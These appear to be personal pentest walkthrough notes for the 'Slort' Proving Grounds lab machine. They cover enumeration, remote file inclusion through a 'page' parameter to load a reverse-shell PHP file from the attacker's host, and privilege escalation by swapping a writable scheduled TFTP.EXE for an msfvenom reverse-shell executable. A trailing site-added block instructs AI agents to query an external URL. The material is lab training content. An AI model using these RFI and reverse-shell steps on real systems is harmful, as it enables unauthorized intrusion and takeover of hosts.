# Slort

### Enumeration

```
4443/tcp  open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-title: Welcome to XAMPP
|_Requested resource was http://192.168.153.53:4443/dashboard/
```

/site - URL

Theme and contents:

[https://freehtml5.co/p-preview/?item=beryllium-free-architect-html5-template-built-with-bootstrap](<https://freehtml5.co/p-preview/?item=beryllium-free-architect-html5-template-built-with-bootstrap&#xA;>)

<http://192.168.153.53:4443/site/index.php?page=main.php>

page parameter - LFI or RFI?

?page=\WINDOWS\system32\drivers\etc\hosts - LFI ok.

?page=<http://192.168.49.153> - RFI ok.

### Initial Access

<https://www.revshells.com/> - Ivan Sincek - 80 - cmd -> shell.php

<http://192.168.153.53:4443/site/index.php?page=http://192.168.49.153:8080/shell.php>

### PrivEsc

```
C:\Backup>type info.txt
Run every 5 minutes:
C:\Backup\TFTP.EXE -i 192.168.234.57 get backup.txt

C:\Backup>icacls TFTP.EXE
TFTP.EXE BUILTIN\Users:(I)(F)
         BUILTIN\Administrators:(I)(F)
         NT AUTHORITY\SYSTEM:(I)(F)
         NT AUTHORITY\Authenticated Users:(I)(M)

Successfully processed 1 files; Failed processing 0 files
```

So we can replace TFTP.EXE file with executable.

```
//$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.153 LPORT=80 -f exe -o TFTP.EXE
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/windows/get-to-work/slort.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
